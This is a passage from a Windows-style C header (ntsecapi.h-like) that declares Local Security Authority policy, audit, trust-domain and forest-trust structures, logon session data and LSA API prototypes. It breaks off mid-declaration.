PolicyDefaultQuotaInformation,\r\n    PolicyModificationInformation,\r\n    PolicyAuditFullSetInformation,\r\n    PolicyAuditFullQueryInformation,\r\n    PolicyDnsDomainInformation,\r\n    PolicyDnsDomainInformationInt,\r\n    PolicyLocalAccountDomainInformation,\r\n    PolicyLastEntry\r\n\r\n} POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS;\r\n\r\ntypedef struct _POLICY_AUDIT_LOG_INFO {\r\n\r\n    ULONG AuditLogPercentFull;\r\n    ULONG MaximumLogSize;\r\n    LARGE_INTEGER AuditRetentionPeriod;\r\n    BOOLEAN AuditLogFullShutdownInProgress;\r\n    LARGE_INTEGER TimeToShutdown;\r\n    ULONG NextAuditRecordId;\r\n\r\n} POLICY_AUDIT_LOG_INFO, *PPOLICY_AUDIT_LOG_INFO;\r\n\r\ntypedef struct _POLICY_AUDIT_EVENTS_INFO {\r\n\r\n    BOOLEAN AuditingMode;\r\n    PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions;\r\n    ULONG MaximumAuditEventCount;\r\n\r\n} POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO;\r\n\r\ntypedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO {\r\n\r\n    ULONG MaximumSubCategoryCount;\r\n    PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions;\r\n\r\n} POLICY_AUDIT_SUBCATEGORIES_INFO, *PPOLICY_AUDIT_SUBCATEGORIES_INFO;\r\n\r\ntypedef struct _POLICY_AUDIT_CATEGORIES_INFO {\r\n\r\n    ULONG MaximumCategoryCount;\r\n    PPOLICY_AUDIT_SUBCATEGORIES_INFO SubCategoriesInfo;\r\n\r\n} POLICY_AUDIT_CATEGORIES_INFO, *PPOLICY_AUDIT_CATEGORIES_INFO;\r\n\r\n//\r\n// Valid bits for Per user policy mask.\r\n//\r\n\r\n#define PER_USER_POLICY_UNCHANGED               (0x00)\r\n#define PER_USER_AUDIT_SUCCESS_INCLUDE          (0x01)\r\n#define PER_USER_AUDIT_SUCCESS_EXCLUDE          (0x02)\r\n#define PER_USER_AUDIT_FAILURE_INCLUDE          (0x04)\r\n#define PER_USER_AUDIT_FAILURE_EXCLUDE          (0x08)\r\n#define PER_USER_AUDIT_NONE                     (0x10)\r\n\r\n\r\n#define VALID_PER_USER_AUDIT_POLICY_FLAG (PER_USER_AUDIT_SUCCESS_INCLUDE | \\\r\n                                          PER_USER_AUDIT_SUCCESS_EXCLUDE | \\\r\n                                          PER_USER_AUDIT_FAILURE_INCLUDE | \\\r\n                                          PER_USER_AUDIT_FAILURE_EXCLUDE | \\\r\n                                          PER_USER_AUDIT_NONE)\r\n\r\ntypedef struct _POLICY_PRIMARY_DOMAIN_INFO {\r\n\r\n    LSA_UNICODE_STRING Name;\r\n    PSID Sid;\r\n\r\n} POLICY_PRIMARY_DOMAIN_INFO, *PPOLICY_PRIMARY_DOMAIN_INFO;\r\n\r\ntypedef struct _POLICY_PD_ACCOUNT_INFO {\r\n\r\n    LSA_UNICODE_STRING Name;\r\n\r\n} POLICY_PD_ACCOUNT_INFO, *PPOLICY_PD_ACCOUNT_INFO;\r\n\r\ntypedef struct _POLICY_LSA_SERVER_ROLE_INFO {\r\n\r\n    POLICY_LSA_SERVER_ROLE LsaServerRole;\r\n\r\n} POLICY_LSA_SERVER_ROLE_INFO, *PPOLICY_LSA_SERVER_ROLE_INFO;\r\n\r\ntypedef struct _POLICY_REPLICA_SOURCE_INFO {\r\n\r\n    LSA_UNICODE_STRING ReplicaSource;\r\n    LSA_UNICODE_STRING ReplicaAccountName;\r\n\r\n} POLICY_REPLICA_SOURCE_INFO, *PPOLICY_REPLICA_SOURCE_INFO;\r\n\r\ntypedef struct _POLICY_DEFAULT_QUOTA_INFO {\r\n\r\n    QUOTA_LIMITS QuotaLimits;\r\n\r\n} POLICY_DEFAULT_QUOTA_INFO, *PPOLICY_DEFAULT_QUOTA_INFO;\r\n\r\n\r\ntypedef struct _POLICY_MODIFICATION_INFO {\r\n\r\n    LARGE_INTEGER ModifiedId;\r\n    LARGE_INTEGER DatabaseCreationTime;\r\n\r\n} POLICY_MODIFICATION_INFO, *PPOLICY_MODIFICATION_INFO;\r\n\r\n\r\ntypedef struct _POLICY_AUDIT_FULL_SET_INFO {\r\n\r\n    BOOLEAN ShutDownOnFull;\r\n\r\n} POLICY_AUDIT_FULL_SET_INFO, *PPOLICY_AUDIT_FULL_SET_INFO;\r\n\r\n\r\ntypedef struct _POLICY_AUDIT_FULL_QUERY_INFO {\r\n\r\n    BOOLEAN ShutDownOnFull;\r\n    BOOLEAN LogIsFull;\r\n\r\n} POLICY_AUDIT_FULL_QUERY_INFO, *PPOLICY_AUDIT_FULL_QUERY_INFO;\r\n\r\n\r\ntypedef enum _POLICY_DOMAIN_INFORMATION_CLASS {\r\n\r\n#if (_WIN32_WINNT <= 0x0500)\r\n    PolicyDomainQualityOfServiceInformation = 1,\r\n#endif\r\n    PolicyDomainEfsInformation = 2,\r\n    PolicyDomainKerberosTicketInformation\r\n\r\n} POLICY_DOMAIN_INFORMATION_CLASS, *PPOLICY_DOMAIN_INFORMATION_CLASS;\r\n\r\n#if (_WIN32_WINNT < 0x0502)\r\n\r\n#define POLICY_QOS_SCHANNEL_REQUIRED            0x00000001\r\n#define POLICY_QOS_OUTBOUND_INTEGRITY           0x00000002\r\n#define POLICY_QOS_OUTBOUND_CONFIDENTIALITY     0x00000004\r\n#define POLICY_QOS_INBOUND_INTEGRITY            0x00000008\r\n#define POLICY_QOS_INBOUND_CONFIDENTIALITY      0x00000010\r\n#define POLICY_QOS_ALLOW_LOCAL_ROOT_CERT_STORE  0x00000020\r\n#define POLICY_QOS_RAS_SERVER_ALLOWED           0x00000040\r\n#define POLICY_QOS_DHCP_SERVER_ALLOWED          0x00000080\r\n\r\n//\r\n// Bits 0x00000100 through 0xFFFFFFFF are reserved for future use.\r\n//\r\n#endif\r\n\r\n#if (_WIN32_WINNT == 0x0500)\r\ntypedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO {\r\n\r\n    ULONG QualityOfService;\r\n\r\n} POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO, *PPOLICY_DOMAIN_QUALITY_OF_SERVICE_INFO;\r\n\r\n#endif\r\n\r\ntypedef struct _POLICY_DOMAIN_EFS_INFO {\r\n\r\n    ULONG   InfoLength;\r\n    PUCHAR  EfsBlob;\r\n\r\n} POLICY_DOMAIN_EFS_INFO, *PPOLICY_DOMAIN_EFS_INFO;\r\n\r\n#define POLICY_KERBEROS_VALIDATE_CLIENT 0x00000080\r\n\r\ntypedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO {\r\n\r\n    ULONG AuthenticationOptions;\r\n    LARGE_INTEGER MaxServiceTicketAge;\r\n    LARGE_INTEGER MaxTicketAge;\r\n    LARGE_INTEGER MaxRenewAge;\r\n    LARGE_INTEGER MaxClockSkew;\r\n    LARGE_INTEGER Reserved;\r\n} POLICY_DOMAIN_KERBEROS_TICKET_INFO, *PPOLICY_DOMAIN_KERBEROS_TICKET_INFO;\r\n\r\ntypedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS {\r\n\r\n    PolicyNotifyAuditEventsInformation = 1,\r\n    PolicyNotifyAccountDomainInformation,\r\n    PolicyNotifyServerRoleInformation,\r\n    PolicyNotifyDnsDomainInformation,\r\n    PolicyNotifyDomainEfsInformation,\r\n    PolicyNotifyDomainKerberosTicketInformation,\r\n    PolicyNotifyMachineAccountPasswordInformation,\r\n    PolicyNotifyGlobalSaclInformation,\r\n    PolicyNotifyMax // must always be the last entry\r\n\r\n} POLICY_NOTIFICATION_INFORMATION_CLASS, *PPOLICY_NOTIFICATION_INFORMATION_CLASS;\r\n\r\ntypedef PVOID LSA_HANDLE, *PLSA_HANDLE;\r\n\r\ntypedef enum _TRUSTED_INFORMATION_CLASS {\r\n\r\n    TrustedDomainNameInformation = 1,\r\n    TrustedControllersInformation,\r\n    TrustedPosixOffsetInformation,\r\n    TrustedPasswordInformation,\r\n    TrustedDomainInformationBasic,\r\n    TrustedDomainInformationEx,\r\n    TrustedDomainAuthInformation,\r\n    TrustedDomainFullInformation,\r\n    TrustedDomainAuthInformationInternal,\r\n    TrustedDomainFullInformationInternal,\r\n    TrustedDomainInformationEx2Internal,\r\n    TrustedDomainFullInformation2Internal,\r\n    TrustedDomainSupportedEncryptionTypes,\r\n} TRUSTED_INFORMATION_CLASS, *PTRUSTED_INFORMATION_CLASS;\r\n\r\ntypedef struct _TRUSTED_DOMAIN_NAME_INFO {\r\n\r\n    LSA_UNICODE_STRING Name;\r\n\r\n} TRUSTED_DOMAIN_NAME_INFO, *PTRUSTED_DOMAIN_NAME_INFO;\r\n\r\ntypedef struct _TRUSTED_CONTROLLERS_INFO {\r\n\r\n    ULONG Entries;\r\n    PLSA_UNICODE_STRING Names;\r\n\r\n} TRUSTED_CONTROLLERS_INFO, *PTRUSTED_CONTROLLERS_INFO;\r\n\r\ntypedef struct _TRUSTED_POSIX_OFFSET_INFO {\r\n\r\n    ULONG Offset;\r\n\r\n} TRUSTED_POSIX_OFFSET_INFO, *PTRUSTED_POSIX_OFFSET_INFO;\r\n\r\ntypedef struct _TRUSTED_PASSWORD_INFO {\r\n    LSA_UNICODE_STRING Password;\r\n    LSA_UNICODE_STRING OldPassword;\r\n} TRUSTED_PASSWORD_INFO, *PTRUSTED_PASSWORD_INFO;\r\n\r\ntypedef  LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC;\r\ntypedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC;\r\n\r\n#define TRUST_DIRECTION_DISABLED        0x00000000\r\n#define TRUST_DIRECTION_INBOUND         0x00000001\r\n#define TRUST_DIRECTION_OUTBOUND        0x00000002\r\n#define TRUST_DIRECTION_BIDIRECTIONAL   (TRUST_DIRECTION_INBOUND | TRUST_DIRECTION_OUTBOUND)\r\n\r\n#define TRUST_TYPE_DOWNLEVEL            0x00000001  // NT4 and before\r\n#define TRUST_TYPE_UPLEVEL              0x00000002  // NT5\r\n#define TRUST_TYPE_MIT                  0x00000003  // Trust with a MIT Kerberos realm\r\n\r\n#if (_WIN32_WINNT < 0x0502)\r\n#define TRUST_TYPE_DCE                  0x00000004  // Trust with a DCE realm\r\n#endif\r\n\r\n// Levels 0x5 - 0x000FFFFF reserved for future use\r\n// Provider specific trust levels are from 0x00100000 to 0xFFF00000\r\n\r\n#define TRUST_ATTRIBUTE_NON_TRANSITIVE                0x00000001  // Disallow transitivity\r\n#define TRUST_ATTRIBUTE_UPLEVEL_ONLY                  0x00000002  // Trust link only valid for uplevel client\r\n#if (_WIN32_WINNT == 0x0500)\r\n#define TRUST_ATTRIBUTE_TREE_PARENT     0x00400000  // Denotes that we are setting the trust\r\n                                                    // to our parent in the org tree...\r\n#define TRUST_ATTRIBUTE_TREE_ROOT       0x00800000  // Denotes that we are setting the trust\r\n                                                    // to another tree root in a forest...\r\n// Trust attributes 0x00000004 through 0x004FFFFF reserved for future use\r\n// Trust attributes 0x00F00000 through 0x00400000 are reserved for internal use\r\n// Trust attributes 0x01000000 through 0xFF000000 are reserved for user\r\n#define TRUST_ATTRIBUTES_VALID  0xFF02FFFF\r\n#endif\r\n\r\n#if (_WIN32_WINNT < 0x0502)\r\n#define TRUST_ATTRIBUTE_FILTER_SIDS        0x00000004  // Used to quarantine domains\r\n#else\r\n#define TRUST_ATTRIBUTE_QUARANTINED_DOMAIN            0x00000004  // Used to quarantine domains\r\n#endif\r\n\r\n#if (_WIN32_WINNT >= 0x0501)\r\n#define TRUST_ATTRIBUTE_FOREST_TRANSITIVE             0x00000008  // This link may contain forest trust information\r\n#if (_WIN32_WINNT >= 0x0502)\r\n#define TRUST_ATTRIBUTE_CROSS_ORGANIZATION            0x00000010  // This trust is to a domain/forest which is not part of this enterprise\r\n#define TRUST_ATTRIBUTE_WITHIN_FOREST                 0x00000020  // Trust is internal to this forest\r\n#define TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL             0x00000040  // Trust is to be treated as external for trust boundary purposes\r\n#if (_WIN32_WINNT >= 0x0600)\r\n#define TRUST_ATTRIBUTE_TRUST_USES_RC4_ENCRYPTION     0x00000080  // MIT trust with RC4\r\n#define TRUST_ATTRIBUTE_TRUST_USES_AES_KEYS           0x00000100  // Use AES keys to encrypt KRB TGTs\r\n#endif\r\n// Trust attributes 0x00000040 through 0x00200000 are reserved for future use\r\n#else\r\n// Trust attributes 0x00000010 through 0x00200000 are reserved for future use\r\n#endif\r\n// Trust attributes 0x00400000 through 0x00800000 were used previously (up to W2K) and should not be re-used\r\n// Trust attributes 0x01000000 through 0x80000000 are reserved for user\r\n#define TRUST_ATTRIBUTES_VALID          0xFF03FFFF\r\n#endif\r\n#define TRUST_ATTRIBUTES_USER           0xFF000000\r\n\r\ntypedef struct _TRUSTED_DOMAIN_INFORMATION_EX {\r\n\r\n    LSA_UNICODE_STRING Name;\r\n    LSA_UNICODE_STRING FlatName;\r\n    PSID  Sid;\r\n    ULONG TrustDirection;\r\n    ULONG TrustType;\r\n    ULONG TrustAttributes;\r\n\r\n} TRUSTED_DOMAIN_INFORMATION_EX, *PTRUSTED_DOMAIN_INFORMATION_EX;\r\n\r\ntypedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 {\r\n\r\n    LSA_UNICODE_STRING Name;\r\n    LSA_UNICODE_STRING FlatName;\r\n    PSID  Sid;\r\n    ULONG TrustDirection;\r\n    ULONG TrustType;\r\n    ULONG TrustAttributes;\r\n    ULONG ForestTrustLength;\r\n#ifdef MIDL_PASS\r\n    [size_is( ForestTrustLength )]\r\n#endif\r\n    PUCHAR ForestTrustInfo;\r\n\r\n} TRUSTED_DOMAIN_INFORMATION_EX2, *PTRUSTED_DOMAIN_INFORMATION_EX2;\r\n\r\n#define TRUST_AUTH_TYPE_NONE    0   // Ignore this entry\r\n#define TRUST_AUTH_TYPE_NT4OWF  1   // NT4 OWF password\r\n#define TRUST_AUTH_TYPE_CLEAR   2   // Cleartext password\r\n#define TRUST_AUTH_TYPE_VERSION 3   // Cleartext password version number\r\n\r\ntypedef struct _LSA_AUTH_INFORMATION {\r\n\r\n    LARGE_INTEGER LastUpdateTime;\r\n    ULONG AuthType;\r\n    ULONG AuthInfoLength;\r\n    PUCHAR AuthInfo;\r\n} LSA_AUTH_INFORMATION, *PLSA_AUTH_INFORMATION;\r\n\r\ntypedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION {\r\n\r\n    ULONG IncomingAuthInfos;\r\n    PLSA_AUTH_INFORMATION   IncomingAuthenticationInformation;\r\n    PLSA_AUTH_INFORMATION   IncomingPreviousAuthenticationInformation;\r\n    ULONG OutgoingAuthInfos;\r\n    PLSA_AUTH_INFORMATION   OutgoingAuthenticationInformation;\r\n    PLSA_AUTH_INFORMATION   OutgoingPreviousAuthenticationInformation;\r\n\r\n} TRUSTED_DOMAIN_AUTH_INFORMATION, *PTRUSTED_DOMAIN_AUTH_INFORMATION;\r\n\r\ntypedef struct _TRUSTED_DOMAIN_FULL_INFORMATION {\r\n\r\n    TRUSTED_DOMAIN_INFORMATION_EX   Information;\r\n    TRUSTED_POSIX_OFFSET_INFO       PosixOffset;\r\n    TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation;\r\n\r\n} TRUSTED_DOMAIN_FULL_INFORMATION, *PTRUSTED_DOMAIN_FULL_INFORMATION;\r\n\r\ntypedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 {\r\n\r\n    TRUSTED_DOMAIN_INFORMATION_EX2  Information;\r\n    TRUSTED_POSIX_OFFSET_INFO       PosixOffset;\r\n    TRUSTED_DOMAIN_AUTH_INFORMATION AuthInformation;\r\n\r\n} TRUSTED_DOMAIN_FULL_INFORMATION2, *PTRUSTED_DOMAIN_FULL_INFORMATION2;\r\n\r\ntypedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES {\r\n\r\n\tULONG SupportedEncryptionTypes;\r\n\r\n} TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES, *PTRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES;\r\n\r\ntypedef enum {\r\n\r\n    ForestTrustTopLevelName,\r\n    ForestTrustTopLevelNameEx,\r\n    ForestTrustDomainInfo,\r\n    ForestTrustRecordTypeLast = ForestTrustDomainInfo\r\n\r\n} LSA_FOREST_TRUST_RECORD_TYPE;\r\n\r\n#if (_WIN32_WINNT < 0x0502)\r\n#define LSA_FOREST_TRUST_RECORD_TYPE_UNRECOGNIZED 0x80000000\r\n#endif\r\n\r\n//\r\n// Bottom 16 bits of the flags are reserved for disablement reasons\r\n//\r\n\r\n#define LSA_FTRECORD_DISABLED_REASONS            ( 0x0000FFFFL )\r\n\r\n//\r\n// Reasons for a top-level name forest trust record to be disabled\r\n//\r\n\r\n#define LSA_TLN_DISABLED_NEW                     ( 0x00000001L )\r\n#define LSA_TLN_DISABLED_ADMIN                   ( 0x00000002L )\r\n#define LSA_TLN_DISABLED_CONFLICT                ( 0x00000004L )\r\n\r\n//\r\n// Reasons for a domain information forest trust record to be disabled\r\n//\r\n\r\n#define LSA_SID_DISABLED_ADMIN                   ( 0x00000001L )\r\n#define LSA_SID_DISABLED_CONFLICT                ( 0x00000002L )\r\n#define LSA_NB_DISABLED_ADMIN                    ( 0x00000004L )\r\n#define LSA_NB_DISABLED_CONFLICT                 ( 0x00000008L )\r\n\r\ntypedef struct _LSA_FOREST_TRUST_DOMAIN_INFO {\r\n\r\n#ifdef MIDL_PASS\r\n    PISID Sid;\r\n#else\r\n    PSID Sid;\r\n#endif\r\n    LSA_UNICODE_STRING DnsName;\r\n    LSA_UNICODE_STRING NetbiosName;\r\n\r\n} LSA_FOREST_TRUST_DOMAIN_INFO, *PLSA_FOREST_TRUST_DOMAIN_INFO;\r\n\r\n\r\n#if (_WIN32_WINNT >= 0x0502)\r\n//\r\n//  To prevent huge data to be passed in, we should put a limit on LSA_FOREST_TRUST_BINARY_DATA.\r\n//      128K is large enough that can't be reached in the near future, and small enough not to\r\n//      cause memory problems.\r\n\r\n#define MAX_FOREST_TRUST_BINARY_DATA_SIZE ( 128 * 1024 )\r\n#endif\r\n\r\ntypedef struct _LSA_FOREST_TRUST_BINARY_DATA {\r\n\r\n#ifdef MIDL_PASS\r\n    [range(0, MAX_FOREST_TRUST_BINARY_DATA_SIZE)] ULONG Length;\r\n    [size_is( Length )] PUCHAR Buffer;\r\n#else\r\n    ULONG Length;\r\n    PUCHAR Buffer;\r\n#endif\r\n\r\n} LSA_FOREST_TRUST_BINARY_DATA, *PLSA_FOREST_TRUST_BINARY_DATA;\r\n\r\ntypedef struct _LSA_FOREST_TRUST_RECORD {\r\n\r\n    ULONG Flags;\r\n    LSA_FOREST_TRUST_RECORD_TYPE ForestTrustType; // type of record\r\n    LARGE_INTEGER Time;\r\n\r\n#ifdef MIDL_PASS\r\n    [switch_type( LSA_FOREST_TRUST_RECORD_TYPE ), switch_is( ForestTrustType )]\r\n#endif\r\n\r\n    union {                                       // actual data\r\n\r\n#ifdef MIDL_PASS\r\n        [case( ForestTrustTopLevelName,\r\n               ForestTrustTopLevelNameEx )] LSA_UNICODE_STRING TopLevelName;\r\n        [case( ForestTrustDomainInfo )] LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo;\r\n        [default] LSA_FOREST_TRUST_BINARY_DATA Data;\r\n#else\r\n        LSA_UNICODE_STRING TopLevelName;\r\n        LSA_FOREST_TRUST_DOMAIN_INFO DomainInfo;\r\n        LSA_FOREST_TRUST_BINARY_DATA Data;        // used for unrecognized types\r\n#endif\r\n    } ForestTrustData;\r\n\r\n} LSA_FOREST_TRUST_RECORD, *PLSA_FOREST_TRUST_RECORD;\r\n\r\n#if (_WIN32_WINNT >= 0x0502)\r\n//\r\n// To prevent forest trust blobs of large size, number of records must be\r\n// smaller than MAX_RECORDS_IN_FOREST_TRUST_INFO\r\n//\r\n\r\n#define MAX_RECORDS_IN_FOREST_TRUST_INFO 4000\r\n#endif\r\n\r\ntypedef struct _LSA_FOREST_TRUST_INFORMATION {\r\n\r\n#ifdef MIDL_PASS\r\n    [range(0, MAX_RECORDS_IN_FOREST_TRUST_INFO)] ULONG RecordCount;\r\n    [size_is( RecordCount )] PLSA_FOREST_TRUST_RECORD * Entries;\r\n#else\r\n    ULONG RecordCount;\r\n    PLSA_FOREST_TRUST_RECORD * Entries;\r\n#endif\r\n\r\n} LSA_FOREST_TRUST_INFORMATION, *PLSA_FOREST_TRUST_INFORMATION;\r\n\r\ntypedef enum {\r\n\r\n    CollisionTdo,\r\n    CollisionXref,\r\n    CollisionOther\r\n\r\n} LSA_FOREST_TRUST_COLLISION_RECORD_TYPE;\r\n\r\ntypedef struct _LSA_FOREST_TRUST_COLLISION_RECORD {\r\n\r\n    ULONG Index;\r\n    LSA_FOREST_TRUST_COLLISION_RECORD_TYPE Type;\r\n    ULONG Flags;\r\n    LSA_UNICODE_STRING Name;\r\n\r\n} LSA_FOREST_TRUST_COLLISION_RECORD, *PLSA_FOREST_TRUST_COLLISION_RECORD;\r\n\r\ntypedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION {\r\n\r\n    ULONG RecordCount;\r\n#ifdef MIDL_PASS\r\n    [size_is( RecordCount )]\r\n#endif\r\n    PLSA_FOREST_TRUST_COLLISION_RECORD * Entries;\r\n\r\n} LSA_FOREST_TRUST_COLLISION_INFORMATION, *PLSA_FOREST_TRUST_COLLISION_INFORMATION;\r\n\r\n\r\n//\r\n// LSA Enumeration Context\r\n//\r\n\r\ntypedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE;\r\n\r\n//\r\n// LSA Enumeration Information\r\n//\r\n\r\ntypedef struct _LSA_ENUMERATION_INFORMATION {\r\n\r\n    PSID Sid;\r\n\r\n} LSA_ENUMERATION_INFORMATION, *PLSA_ENUMERATION_INFORMATION;\r\n\r\n\r\n////////////////////////////////////////////////////////////////////////////\r\n//                                                                        //\r\n// Local Security Policy - Miscellaneous API function prototypes          //\r\n//                                                                        //\r\n////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaFreeMemory(\r\n\t_In_opt_ PVOID Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaClose(\r\n\tIN LSA_HANDLE ObjectHandle\r\n\t);\r\n\r\n#if (_WIN32_WINNT >= 0x0600)\r\n\r\ntypedef struct _LSA_LAST_INTER_LOGON_INFO {\r\n    LARGE_INTEGER LastSuccessfulLogon;\r\n    LARGE_INTEGER LastFailedLogon;\r\n    ULONG FailedAttemptCountSinceLastSuccessfulLogon;\r\n} LSA_LAST_INTER_LOGON_INFO, *PLSA_LAST_INTER_LOGON_INFO;\r\n\r\n#endif\r\n\r\n#if (_WIN32_WINNT >= 0x0501)\r\ntypedef struct _SECURITY_LOGON_SESSION_DATA {\r\n    ULONG               Size;\r\n    LUID                LogonId;\r\n    LSA_UNICODE_STRING  UserName;\r\n    LSA_UNICODE_STRING  LogonDomain;\r\n    LSA_UNICODE_STRING  AuthenticationPackage;\r\n    ULONG               LogonType;\r\n    ULONG               Session;\r\n    PSID                Sid;\r\n    LARGE_INTEGER       LogonTime;\r\n\r\n    LSA_UNICODE_STRING  LogonServer;\r\n    LSA_UNICODE_STRING  DnsDomainName;\r\n    LSA_UNICODE_STRING  Upn;\r\n\r\n#if (_WIN32_WINNT >= 0x0600)\r\n\r\n    ULONG UserFlags;\r\n\r\n    LSA_LAST_INTER_LOGON_INFO LastLogonInfo;\r\n    LSA_UNICODE_STRING LogonScript;\r\n    LSA_UNICODE_STRING ProfilePath;\r\n    LSA_UNICODE_STRING HomeDirectory;\r\n    LSA_UNICODE_STRING HomeDirectoryDrive;\r\n\r\n    LARGE_INTEGER LogoffTime;\r\n    LARGE_INTEGER KickOffTime;\r\n    LARGE_INTEGER PasswordLastSet;\r\n    LARGE_INTEGER PasswordCanChange;\r\n    LARGE_INTEGER PasswordMustChange;\r\n\r\n#endif\r\n} SECURITY_LOGON_SESSION_DATA, * PSECURITY_LOGON_SESSION_DATA;\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaEnumerateLogonSessions(\r\n\tOUT PULONG  LogonSessionCount,\r\n\tOUT PLUID * LogonSessionList\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaGetLogonSessionData(\r\n\tIN PLUID LogonId,\r\n\tOUT PSECURITY_LOGON_SESSION_DATA * ppLogonSessionData\r\n\t);\r\n\r\n#endif\r\nNTSTATUS\r\nNTAPI\r\nLsaOpenPolicy(\r\n\t_In_opt_ PLSA_UNICODE_STRING SystemName,\r\n\tIN PLSA_OBJECT_ATTRIBUTES ObjectAttributes,\r\n\tIN ACCESS_MASK DesiredAccess,\r\n\tOUT PLSA_HANDLE PolicyHandle\r\n\t);\r\n\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaQueryInformationPolicy(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN POLICY_INFORMATION_CLASS InformationClass,\r\n\tOUT PVOID *Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaSetInformationPolicy(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN POLICY_INFORMATION_CLASS InformationClass,\r\n\tIN PVOID Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaQueryDomainInformationPolicy(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN POLICY_DOMAIN_INFORMATION_CLASS InformationClass,\r\n\tOUT PVOID *Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaSetDomainInformationPolicy(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN POLICY_DOMAIN_INFORMATION_CLASS InformationClass,\r\n\t_In_opt_ PVOID Buffer\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaRegisterPolicyChangeNotification(\r\n\tIN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass,\r\n\tIN HANDLE NotificationEventHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaUnregisterPolicyChangeNotification(\r\n\tIN POLICY_NOTIFICATION_INFORMATION_CLASS InformationClass,\r\n\tIN HANDLE NotificationEventHandle\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaEnumerateTrustedDomains(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\t_Inout_ PLSA_ENUMERATION_HANDLE EnumerationContext,\r\n\tOUT PVOID *Buffer,\r\n\tIN ULONG preferredMaximumLength,\r\n\tOUT PULONG CountReturned\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaLookupNames(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN ULONG Count,\r\n\tIN PLSA_UNICODE_STRING Names,\r\n\tOUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains,\r\n\tOUT PLSA_TRANSLATED_SID *Sids\r\n\t);\r\n\r\n#if (_WIN32_WINNT >= 0x0501)\r\nNTSTATUS\r\nNTAPI\r\nLsaLookupNames2(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN ULONG Flags, // Reserved\r\n\tIN ULONG Count,\r\n\tIN PLSA_UNICODE_STRING Names,\r\n\tOUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains,\r\n\tOUT PLSA_TRANSLATED_SID2 *Sids\r\n\t);\r\n#endif\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaLookupSids(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN ULONG Count,\r\n\tIN PSID *Sids,\r\n\tOUT PLSA_REFERENCED_DOMAIN_LIST *ReferencedDomains,\r\n\tOUT PLSA_TRANSLATED_NAME *Names\r\n\t);\r\n\r\n#define SE_INTERACTIVE_LOGON_NAME           TEXT(\"SeInteractiveLogonRight\")\r\n#define SE_NETWORK_LOGON_NAME               TEXT(\"SeNetworkLogonRight\")\r\n#define SE_BATCH_LOGON_NAME                 TEXT(\"SeBatchLogonRight\")\r\n#define SE_SERVICE_LOGON_NAME               TEXT(\"SeServiceLogonRight\")\r\n#define SE_DENY_INTERACTIVE_LOGON_NAME      TEXT(\"SeDenyInteractiveLogonRight\")\r\n#define SE_DENY_NETWORK_LOGON_NAME          TEXT(\"SeDenyNetworkLogonRight\")\r\n#define SE_DENY_BATCH_LOGON_NAME            TEXT(\"SeDenyBatchLogonRight\")\r\n#define SE_DENY_SERVICE_LOGON_NAME          TEXT(\"SeDenyServiceLogonRight\")\r\n#if (_WIN32_WINNT >= 0x0501)\r\n#define SE_REMOTE_INTERACTIVE_LOGON_NAME    TEXT(\"SeRemoteInteractiveLogonRight\")\r\n#define SE_DENY_REMOTE_INTERACTIVE_LOGON_NAME TEXT(\"SeDenyRemoteInteractiveLogonRight\")\r\n#endif\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaEnumerateAccountsWithUserRight(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\t_In_opt_ PLSA_UNICODE_STRING UserRight,\r\n\tOUT PVOID *Buffer,\r\n\tOUT PULONG CountReturned\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaEnumerateAccountRights(\r\n\tIN LSA_HANDLE PolicyHandle,\r\n\tIN PSID AccountSid,\r\n\tOUT PLSA_UNICODE_STRING *UserRights,\r\n\tOUT PULONG CountOfRights\r\n\t);\r\n\r\nNTSTATUS\r\nNTAPI\r\nLsaAddAccountRights(\r\n\tIN LSA_HANDLE 